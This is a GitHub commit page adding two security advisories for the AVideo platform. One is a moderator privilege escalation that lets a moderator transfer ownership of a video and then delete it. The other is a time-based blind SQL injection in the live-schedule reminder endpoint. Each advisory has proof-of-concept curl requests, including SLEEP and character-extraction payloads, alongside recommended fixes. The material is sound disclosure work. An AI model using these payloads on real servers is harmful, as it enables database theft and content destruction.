Skip to content

Commit b4270ab

Browse files
1 parent 2ef8beb commit b4270ab

2 files changed

Lines changed: 130 additions & 0 deletions

File tree

Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-8x77-f38v-4m5j",
4+
"modified": "2026-03-25T17:49:32Z",
5+
"published": "2026-03-25T17:49:32Z",
6+
"aliases": [
7+
"CVE-2026-33650"
8+
],
9+
"summary": "AVideo: Video Moderator Privilege Escalation via Ownership Transfer Enables Arbitrary Video Deletion",
10+
"details": "## Summary\n\nA user with the \"Videos Moderator\" permission can escalate privileges to perform full video management operations — including ownership transfer and deletion of any video — despite the permission being documented as only allowing video publicity changes (Active, Inactive, Unlisted). The root cause is that `Permissions::canModerateVideos()` is used as an authorization gate for full video editing in `videoAddNew.json.php`, while `videoDelete.json.php` only checks ownership, creating an asymmetric authorization boundary exploitable via a two-step ownership-transfer-then-delete chain.\n\n## Details\n\nThe `PERMISSION_INACTIVATEVIDEOS` (ID 11) permission is described as a limited moderator role in `plugin/Permissions/Permissions.php:213`:\n\n```php\n$permissions[] = new PluginPermissionOption(\n Permissions::PERMISSION_INACTIVATEVIDEOS, \n __('Videos Moderator'), \n __('This is a level below the (Videos Admin), this type of user can change the video publicity (Active, Inactive, Unlisted)'), \n 'Permissions'\n);\n```\n\nHowever, `Permissions::canModerateVideos()` (`Permissions.php:175`) is reused as an authorization gate in multiple locations in `videoAddNew.json.php` that go far beyond status changes:\n\n**1. Upload gate bypass** (`videoAddNew.json.php:10`):\n`User::canUpload()` (`user.php:2650`) returns `true` if `Permissions::canModerateVideos()` is true, granting moderators upload access.\n\n**2. Edit gate bypass** (`videoAddNew.json.php:19`):\n```php\nif (!Video::canEdit($_POST['id']) && !Permissions::canModerateVideos()) {\n die('{\"error\":\"2 ' . __(\"Permission denied\") . '\"}');\n}\n```\n`Video::canEdit()` correctly checks only `canAdminVideos()` and ownership, but the `|| !Permissions::canModerateVideos()` fallback allows moderators to edit any video.\n\n**3. Ownership transfer** (`videoAddNew.json.php:222`):\n```php\nif ($advancedCustomUser->userCanChangeVideoOwner || Permissions::canModerateVideos() || \n Users_affiliations::isUserAffiliateOrCompanyToEachOther($obj->getUsers_id(), $_POST['users_id'])) {\n $obj->setUsers_id($_POST['users_id']);\n}\n```\n`userCanChangeVideoOwner` defaults to `false` (`CustomizeUser.php:286`), but `canModerateVideos()` provides an unconditional bypass, allowing any moderator to reassign ownership of any video.\n\n**4. Delete via ownership** (`videoDelete.json.php:22-28`):\n```php\nif(empty($video->getUsers_id()) || $video->getUsers_id() != User::getId()){\n if (!$video->userCanManageVideo()) {\n // denied\n }\n}\n$id = $video->delete();\n```\n`userCanManageVideo()` (`video.php:3614`) checks `canAdminVideos()` (not `canModerateVideos()`), then falls back to ownership. After the ownership transfer in step 3, the moderator is now the owner, so this check passes.\n\nThe authorization asymmetry: `videoAddNew.json.php` treats `canModerateVideos()` as equivalent to `canAdminVideos()`, but `videoDelete.json.php` and `userCanManageVideo()` do not — creating a gap exploitable by transferring ownership first.\n\nAdditional fields a moderator can modify beyond their intended scope:\n- `only_for_paid` (line 210) — make premium content free\n- `video_password` (line 211) — change/remove password protection\n- `categories_id` (line 168) — alter content categorization\n- `videoGroups` (line 175) — modify user group visibility\n\n## PoC\n\n**Prerequisites:** An account with the \"Videos Moderator\" permission (PERMISSION_INACTIVATEVIDEOS = 11) and a target video ID owned by another user.\n\n**Step 1: Transfer ownership of target video to attacker**\n\n```bash\n# ATTACKER_USER_ID = moderator's user ID\n# TARGET_VIDEO_ID = ID of video owned by another user (e.g., admin)\ncurl -s -b cookies.txt -X POST \\\n 'http://localhost/objects/videoAddNew.json.php' \\\n -d \"id=TARGET_VIDEO_ID&users_id=ATTACKER_USER_ID&title=unchanged\"\n```\n\nExpected response: `{\"status\":true, ...}` — ownership is now transferred to the attacker.\n\n**Step 2: Delete the video (now owned by attacker)**\n\n```bash\ncurl -s -b cookies.txt -X POST \\\n 'http://localhost/objects/videoDelete.json.php' \\\n -d \"id[]=TARGET_VIDEO_ID\"\n```\n\nExpected response: `{\"error\":false, ...}` — video is deleted. The owner check at line 22 passes because the moderator is now the recorded owner.\n\n**Step 3 (additional impact): Access password-protected video**\n\n```bash\ncurl -s -b cookies.txt -X POST \\\n 'http://localhost/objects/videoAddNew.json.php' \\\n -d \"id=TARGET_VIDEO_ID&video_password=&title=unchanged\"\n```\n\nThis removes the video password, granting the moderator (and everyone) access to previously protected content.\n\n## Impact\n\n- **Arbitrary video deletion**: A Videos Moderator can delete any video on the platform, including admin-owned content, by first transferring ownership to themselves then deleting.\n- **Content tampering**: Moderator can change paid content flags (`only_for_paid`), video passwords, categories, and user group visibility on any video — all exceeding the documented scope of \"change video publicity.\"\n- **Access control bypass**: Password-protected videos can have their passwords removed, exposing restricted content.\n- **Integrity loss**: Video ownership records are corrupted, making audit trails unreliable.\n- **Availability impact**: Targeted deletion of high-value content with no authorization check appropriate to the destructive action.\n\nThe blast radius is any video on the platform. Any user granted the \"Videos Moderator\" role — which administrators may grant freely assuming it only allows status changes — gains effective full video management capabilities.\n\n## Recommended Fix\n\nReplace `Permissions::canModerateVideos()` with `Permissions::canAdminVideos()` in `videoAddNew.json.php` where full edit capabilities are granted. Keep `canModerateVideos()` only for the specific status/publicity change operations it was designed for.\n\n**Fix for ownership transfer** (`videoAddNew.json.php:222`):\n```php\n// Before (vulnerable):\nif ($advancedCustomUser->userCanChangeVideoOwner || Permissions::canModerateVideos() || ...\n\n// After (fixed):\nif ($advancedCustomUser->userCanChangeVideoOwner || Permissions::canAdminVideos() || ...\n```\n\n**Fix for edit gate** (`videoAddNew.json.php:19`):\n```php\n// Before (vulnerable):\nif (!Video::canEdit($_POST['id']) && !Permissions::canModerateVideos()) {\n\n// After (fixed): \nif (!Video::canEdit($_POST['id']) && !Permissions::canAdminVideos()) {\n```\n\nThen create a separate, narrower code path for moderators that only allows changing video status/publicity fields. Alternatively, refactor `videoAddNew.json.php` to check `canModerateVideos()` only around the specific status-change logic (lines 238-248) and require `canAdminVideos()` for all other fields.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "wwbn/avideo"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "26.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-8x77-f38v-4m5j"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33650"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/WWBN/AVideo/commit/838e16818c793779406ecbf34ebaeba9830e33f8"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/WWBN/AVideo"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-863"
59+
],
60+
"severity": "HIGH",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-03-25T17:49:32Z",
63+
"nvd_published_at": "2026-03-23T19:16:41Z"
64+
}
65+
}
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-pvw4-p2jm-chjm",
4+
"modified": "2026-03-25T17:50:16Z",
5+
"published": "2026-03-25T17:50:16Z",
6+
"aliases": [
7+
"CVE-2026-33651"
8+
],
9+
"summary": "AVideo has a Blind SQL Injection in Live Schedule Reminder via Unsanitized live_schedule_id in Scheduler_commands::getAllActiveOrToRepeat()",
10+
"details": "## Summary\n\nThe `remindMe.json.php` endpoint passes `$_REQUEST['live_schedule_id']` through multiple functions without sanitization until it reaches `Scheduler_commands::getAllActiveOrToRepeat()`, which directly concatenates it into a SQL `LIKE` clause. Although intermediate functions (`new Live_schedule()`, `getUsers_idOrCompany()`) apply `intval()` internally, they do so on local copies within `ObjectYPT::getFromDb()`, leaving the original tainted variable unchanged. Any authenticated user can perform time-based blind SQL injection to extract arbitrary database contents.\n\n## Details\n\nThe vulnerability involves a 6-step data flow from user input to an unsanitized SQL sink:\n\n**Step 1 — User input (no sanitization):**\n`plugin/Live/remindMe.json.php:15`:\n```php\n$reminder = Live::setLiveScheduleReminder($_REQUEST['live_schedule_id'], ...);\n```\n\n**Step 2 — Auth check passes for any user:**\n`plugin/Live/Live.php:4126`:\n```php\nif (!User::isLogged()) {\n $obj->msg = __('Must be logged');\n return $obj;\n}\n```\n\n**Step 3 — intval() applied only internally, original variable unchanged:**\n`plugin/Live/Live.php:4141-4143`:\n```php\n$ls = new Live_schedule($live_schedule_id); // intval() inside getFromDb() only\n$users_id = Live_schedule::getUsers_idOrCompany($live_schedule_id); // same\n```\n\n`objects/Object.php:84` (inside `getFromDb()`):\n```php\n$id = intval($id); // sanitizes the LOCAL parameter, not the caller's variable\n```\n\nWith input like `1\" AND SLEEP(5) --`, `intval()` extracts `1`, loads schedule ID 1 successfully. The caller's `$live_schedule_id` remains `1\" AND SLEEP(5) --`.\n\n**Step 4 — Tainted value flows to type string construction:**\n`plugin/Live/Live.php:4152` → `Live.php:4193-4194`:\n```php\n$reminders = self::getLiveScheduleReminders($live_schedule_id);\n\n// getLiveScheduleReminders calls:\n$type = self::getLiveScheduleReminderBaseNameType($live_schedule_id);\n// which builds: \"LiveScheduleReminder_{$to_users_id}_{$live_schedule_id}\"\nreturn Scheduler_commands::getAllActiveOrToRepeat($type);\n```\n\n**Step 5 — SQL injection sink:**\n`plugin/Scheduler/Objects/Scheduler_commands.php:340-347`:\n```php\n$sql = \"SELECT * FROM \" . static::getTableName() . \" WHERE (status='a' OR status='r') \";\nif(!empty($type)){\n $sql .= ' AND `type` LIKE \"'.$type.'%\" '; // LINE 343: direct concatenation\n}\n$res = sqlDAL::readSql($sql); // LINE 347: no parameterization\n```\n\n## PoC\n\n**Prerequisites:** Any authenticated user session, at least one `live_schedule` record (ID=1).\n\n**Step 1 — Baseline request (should return quickly):**\n```bash\ncurl -s -o /dev/null -w \"%{time_total}\" \\\n -b \"PHPSESSID=<valid_session>\" \\\n \"http://target/plugin/Live/remindMe.json.php?live_schedule_id=1&minutesEarlier=10\"\n```\nExpected: response in ~0.1-0.5s\n\n**Step 2 — Time-based injection (5 second delay):**\n```bash\ncurl -s -o /dev/null -w \"%{time_total}\" \\\n -b \"PHPSESSID=<valid_session>\" \\\n --get --data-urlencode 'live_schedule_id=1\" AND SLEEP(5) -- ' \\\n --data-urlencode 'minutesEarlier=10' \\\n \"http://target/plugin/Live/remindMe.json.php\"\n```\nExpected: response delayed by ~5 seconds, confirming injection.\n\nThe resulting SQL becomes:\n```sql\nSELECT * FROM scheduler_commands\nWHERE (status='a' OR status='r')\n AND `type` LIKE \"LiveScheduleReminder_123_1\" AND SLEEP(5) -- %\"\n```\n\n**Step 3 — Data extraction (example: first character of database user):**\n```bash\ncurl -s -o /dev/null -w \"%{time_total}\" \\\n -b \"PHPSESSID=<valid_session>\" \\\n --get --data-urlencode 'live_schedule_id=1\" AND IF(SUBSTRING(user(),1,1)=\"r\",SLEEP(5),0) -- ' \\\n --data-urlencode 'minutesEarlier=10' \\\n \"http://target/plugin/Live/remindMe.json.php\"\n```\nIf the response is delayed 5 seconds, the first character of `user()` is `r`.\n\n## Impact\n\n- **Full database read**: An attacker with any authenticated session can extract all database contents character-by-character using time-based blind techniques, including admin credentials, user PII (emails, passwords), API keys, and session tokens.\n- **Data modification**: Depending on MySQL permissions, stacked queries or subquery-based writes could allow INSERT/UPDATE/DELETE operations.\n- **Account takeover**: Extracted admin password hashes or session tokens enable full platform compromise.\n- **Low barrier**: Only requires a basic authenticated account — no admin privileges needed.\n\n## Recommended Fix\n\n**Option 1 — Parameterize the query in `Scheduler_commands::getAllActiveOrToRepeat()`:**\n\n`plugin/Scheduler/Objects/Scheduler_commands.php:335-347`:\n```php\npublic static function getAllActiveOrToRepeat($type='') {\n global $global;\n if (!static::isTableInstalled()) {\n return false;\n }\n $sql = \"SELECT * FROM \" . static::getTableName() . \" WHERE (status=? OR status=?) \";\n $formats = \"ss\";\n $values = [self::$statusActive, self::$statusRepeat];\n\n if(!empty($type)){\n $sql .= ' AND `type` LIKE ? ';\n $formats .= \"s\";\n $values[] = $type . \"%\";\n }\n\n $sql .= self::getSqlFromPost();\n $res = sqlDAL::readSql($sql, $formats, $values);\n $fullData = sqlDAL::fetchAllAssoc($res);\n sqlDAL::close($res);\n $rows = array();\n if ($res != false) {\n foreach ($fullData as $row) {\n $rows[] = $row;\n }\n }\n return $rows;\n}\n```\n\n**Option 2 — Additionally sanitize at the entry point:**\n\n`plugin/Live/remindMe.json.php:15` (defense in depth):\n```php\n$_REQUEST['live_schedule_id'] = intval($_REQUEST['live_schedule_id']);\n$reminder = Live::setLiveScheduleReminder($_REQUEST['live_schedule_id'], ...);\n```\n\nBoth fixes should be applied for defense in depth.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "wwbn/avideo"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "26.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-pvw4-p2jm-chjm"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33651"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/WWBN/AVideo/commit/75d45780728294ededa1e3f842f95295d3e7d144"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/WWBN/AVideo"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-89"
59+
],
60+
"severity": "HIGH",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-03-25T17:50:16Z",
63+
"nvd_published_at": "2026-03-23T19:16:41Z"
64+
}
65+
}

0 commit comments

Comments
 (0)